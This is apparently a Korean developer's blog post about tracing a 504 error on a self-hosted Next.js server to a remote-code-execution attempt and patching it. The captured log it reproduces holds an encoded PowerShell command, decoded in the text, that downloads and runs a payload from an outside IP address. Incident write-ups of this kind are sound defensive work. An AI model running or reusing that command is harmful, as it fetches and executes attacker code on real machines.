단순 504 에러인 줄 알았는데 해킹이었다고? (Next.js RCE 보안 취약점 대응기)

최근 개인적으로 운영 중인 미니 PC(Ubuntu 환경) 서버에서 갑작스럽게 504 Gateway Time-out 에러가 발생했다. 단순한 Nginx 설정 오류나 포트 바인딩 문제라고 생각하고 접근했으나, 로그를 파헤쳐 보니 등골이 서늘해지는 보안 공격(RCE) 시도였다.

이번 글에서는 Next.js 프로젝트에서 발생한 504 에러의 진짜 원인을 찾고, 실제 해킹 시도 로그를 분석하여 보안 패치를 적용한 과정을 기록한다.

---

1. 증상: 갑작스러운 504 Gateway Time-out

평소 잘 돌아가던 웹 서비스가 응답하지 않았다. Nginx 에러 페이지인 504 Gateway Time-out만 덩그러니 떠 있는 상황.

가장 먼저 의심한 건 Nginx 설정과 Docker 포트 연결이었다.

• Nginx 설정: proxy_pass <http://localhost:5173>; (정상)
• Docker 상태: 0.0.0.0:5173->3000/tcp (호스트 5173을 컨테이너 3000으로 잘 연결 중)

설정상으로는 완벽했다. 하지만 브라우저는 여전히 타임아웃을 뱉고 있었다.

2. 진단: 컨테이너 직접 찔러보기

Nginx를 거치지 않고 서버 내부에서 직접 요청을 보내보았다.

curl -v <http://127.0.0.1:5173>

결과는 실패. 연결이 거부되거나 무한 대기 상태였다. 이는 Nginx의 문제가 아니라, Docker 컨테이너(Frontend) 내부에서 애플리케이션이 요청을 처리하지 못하고 죽어있거나, 응답을 거부하는 상태임을 의미했다.

3. 원인 분석: 충격적인 로그 발견

컨테이너 내부에서 무슨 일이 일어나고 있는지 확인하기 위해 로그를 열었다. 그리고 믿기 힘든 로그를 발견했다.

docker logs --tail 50 [컨테이너ID]

실제 발견된 에러 로그

⨯ [Error: Command failed: powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAyADMALgAyADMANQAuADEAOAA4AC4AMwA6ADYANQAyAC8AcQBNAHEAUwBiACcAKQA=
/bin/sh: powershell: not found
] {
  status: 127,
  signal: null,
  output: [Array],
  pid: 146,
  stdout: <Buffer >,
  stderr: <Buffer 2f 62 69 6e 2f 73 68 3a 20 70 6f 77 65 72 73 68 65 6c 6c 3a 20 6e 6f 74 20 66 6f 75 6e 64 0a>,
  digest: '3085529274'
}
/bin/sh: powershell: not found

일반적인 자바스크립트 에러가 아니었다. /bin/sh: powershell: not found라는 문구가 반복되고 있었다. 리눅스(Ubuntu) 컨테이너에서 윈도우 명령어인 powershell을 실행하려다 실패해서 앱이 크래시(Crash)가 나고, 다시 재시작되는 과정이 무한 반복되고 있었던 것이다.

로그 디코딩 (해킹 시도의 증거)

로그에 포함된 긴 Base64 문자열을 디코딩해보니 다음과 같은 명령어가 나왔다.

IEX (New-Object System.Net.Webclient).DownloadString('<http://23.235.188.3:652/qMqSb>')

특정 IP(23.235…)에서 악성 파일을 다운로드하여 실행(Execute)하려는 전형적인 크립토 마이너(채굴기) 설치 또는 백도어 주입 시도였다.

내 서버가 리눅스 환경이었기 때문에 윈도우용 명령어가 실행되지 않아 다행히 방어된 셈이다. 만약 윈도우 서버였다면 꼼짝없이 당했을 것이다.

4. 근본 원인: Next.js RCE 취약점

내가 악성 코드를 짠 적이 없는데 왜 이런 코드가 실행됐을까? 원인은 오래된 라이브러리의 보안 취약점에 있었다.

최근 Next.js 버전들에서 RCE(Remote Code Execution, 원격 코드 실행) 취약점이 발견되었는데, 내 프로젝트가 딱 그 취약한 버전을 사용하고 있었다. 공격자는 이 보안 구멍을 통해 서버가 켜지자마자 악성 스크립트를 실행하도록 명령을 주입한 것으로 보인다.

로컬에서 npm audit을 돌려보니 원인이 명확해졌다.

npm audit

# 결과

next  15.0.0-canary.0 - 15.4.6
Severity: critical
...

3 vulnerabilities (1 moderate, 1 high, 1 critical)

To address issues that do not require attention, run:
  npm audit fix

To address all issues, run:
  npm audit fix --force

5. 해결 방법: 보안 패치 및 재배포

원인을 알았으니 해결은 간단하다. 문제가 되는 라이브러리를 패치된 최신 버전으로 업데이트하는 것이다.

1) 취약점 패치

package-lock.json이나 node_modules가 꼬이지 않도록 주의하며, 강제로 업데이트를 진행했다.

npm audit fix --force

이 명령어를 통해 Next.js가 보안 패치가 적용된 최신 버전(v14.x 후반 or v15.x)으로 업데이트되었다.

2) 컨테이너 정리 및 재배포

기존에 오염되었을 가능성이 있는 컨테이너와 이미지는 과감히 삭제했다.

docker stop [컨테이너명]
docker rm [컨테이너명]
docker rmi [이미지명]

이후 코드를 다시 빌드하고 배포하니, 거짓말처럼 504 에러가 사라지고 정상적인 Ready 로그가 뜨며 서비스가 복구되었다.

6. 결론 및 교훈

이번 사건은 단순한 서버 장애가 아니라, 실제 운영 중인 서비스가 **공급망 공격(Supply Chain Attack)**이나 프레임워크 취약점에 얼마나 노출되기 쉬운지 보여주는 사례였다.

오늘의 교훈:

1. 504 에러를 가볍게 보지 말자: Nginx 뒤에서 앱이 비정상 종료되고 있다면 반드시 로그를 까봐야 한다.
2. npm audit은 필수다: 개발 편의성을 위해 무시했던 보안 경고가 실제 해킹으로 이어질 수 있다. 주기적으로 npm audit을 체크하자.
3. 최소 권한 원칙: 만약 내 컨테이너가 root 권한으로 실행되고 있었고, 리눅스용 공격 스크립트가 들어왔다면? 상상만 해도 끔찍하다. Docker 실행 권한을 제한하는 것도 중요하다.

혹시 지금 운영 중인 Next.js 서버가 있다면, 당장 터미널을 열고 npm audit을 입력해 보길 권한다.